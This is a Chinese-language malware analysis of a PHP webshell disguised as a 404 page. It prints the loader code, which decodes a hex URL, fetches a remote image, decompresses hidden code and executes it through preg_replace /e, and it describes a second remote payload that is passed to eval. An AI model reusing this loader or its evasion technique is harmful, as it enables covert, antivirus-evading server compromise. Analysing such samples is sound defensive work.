0x00 背景
近日,360網站衛士安全團隊近期捕獲一個基於PHP實現的webshell樣本,其巧妙的代碼動態生成方式,猥瑣的自身頁面僞裝手法,讓我們在分析這個樣本的過程中感受到相當多的樂趣。接下來就讓我們一同共賞這個奇葩的Webshell吧。
0x01 細節
Webshell代碼如下:
1
2
3
4
5
6
7
8
9
|
<?php error_reporting (0); session_start(); header( "Content-type:text/html;charset=utf-8" ); if ( empty ( $_SESSION [ 'api' ])) $_SESSION [ 'api' ]= substr ( file_get_contents ( sprintf( '%s?%s' ,pack( "H*" , '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace( "~(.*)~ies" ,gzuncompress( $_SESSION [ 'api' ]),null); ?> |
關鍵看下面這句代碼,
1
|
sprintf( '%s?%s' ,pack( "H*" ,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid()) |
這裏執行之後其實是一張圖片,解密出來的圖片地址如下:
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然後調用file_get_contents函數讀取圖片爲字符串,然後substr取3649字節之後的內容,再調用gzuncompress解壓,得到真正的代碼。最後調用preg_replace的修飾符e來執行惡意代碼的。這裏執行以下語句來還原出惡意樣本代碼,
1
2
3
4
|
<?php echo
gzuncompress( substr ( file_get_contents (sprintf( '%s?%s' ,pack( "H*" , '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649)); ?> |
如圖所示:
分析這段代碼,發現這是一個僞裝的404木馬(這裏實在是太猥瑣了…把頁面標題改成404 Not Found),其實整個webshell就一個class外加三個function,如下圖:
首先我先看一下它的前端html代碼,其中有這麼一段js程序
1
2
3
4
5
6
7
|
document.onkeydown =
function (e) { var
theEvent = window.event || e; var
code = theEvent.keyCode || theEvent.which; if
(80 == code) { $( "login" ).style.display =
"block" } } |
這裏它用document.onkeydown獲取用戶敲擊鍵盤事件,當code等於80的時候顯示login這個div,這裏查詢了一下keyCode的對照表,查到80對應p和P鍵
所以觸發webshell登陸需要按p鍵(不按P鍵頁面就是一個空白頁,看不到登陸框),如圖所示:
再回到服務端php代碼中,可以看到程序用的是對稱加密,並且將登陸密碼作爲加密key,代碼如圖所示:
再看init()的邏輯
如圖所示,先看這句代碼
1
|
$true
= @gzuncompress(gzuncompress(Crypt::decrypt(pack( 'H*' ,
'789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST[' key'], true))); |
根據這個解密邏輯我們可以推出,這裏其實是將字符串true做了以下加密處理,
1
|
unpack( 'H*' ,Crypt::encrypt(gzcompress(gzcompress( 'true' )),
$_POST [ 'key' ] , true)) |
所以當輸入正確密碼的時候@gzuncompress返回字符串true,然後程序調用setcookie給客戶端返回$_COOKIE['key'],然後值得提一下的是後面這個exit('{"status":"on"}')
,這裏它與前端代碼聯繫很緊密,我們看前端有個callback函數,如下
1
2
3
4
5
6
7
8
9
10
11
12
|
function
callback() { var
json = eval( "("
+ this .responseText +
")" ); if
(json.status== 'on' ){ window.location.reload(); return ; } if
(json.notice) { $( "notice" ).style.display =
"block" ; $( "notice" ).innerHTML = json.notice; sideOut(); } } |
這裏執行exit('{"status":"on"}')
會返回json串{"status":"on"}
,此時前端js代碼classback()獲取到此響應會執行window.location.reload()刷新,再次請求正好帶上前面獲取的cookie,然後執行判斷COOKIE的邏輯,如圖所示:
這裏跟前面POST的邏輯一樣,下面當判斷爲'true'以後,這裏又請求了一張圖片,pack出來地址爲http://2012heike.googlecode.com/svn/trunk/code.jpg
,然後調用_REQUEST獲取圖片內容,解密解壓之後再eval,分析之後發現code.jpg中才是真正的webshell經過加密壓縮之後的內容。這裏我跟蹤了一下代碼打印出了真正執行的webshell的內容:
登陸成功之後的webshell如下圖:
0x02 總結
這是一個高度隱蔽的webshell,它沒有在其代碼中用到一些危險函數和敏感字,而是將真正的shell內容經過層層加密處理之後保存到圖片當中,丟到服務器上只留下一個url,並且url還是經過加密處理的,所以對外看沒有任何特徵可尋,過掉了大多數waf以及殺軟的查殺。。作者的利用思路新穎,並且前端後端結合緊密,代碼精簡,各種奇技淫巧,有別於常見的webshell後門,令人佩服!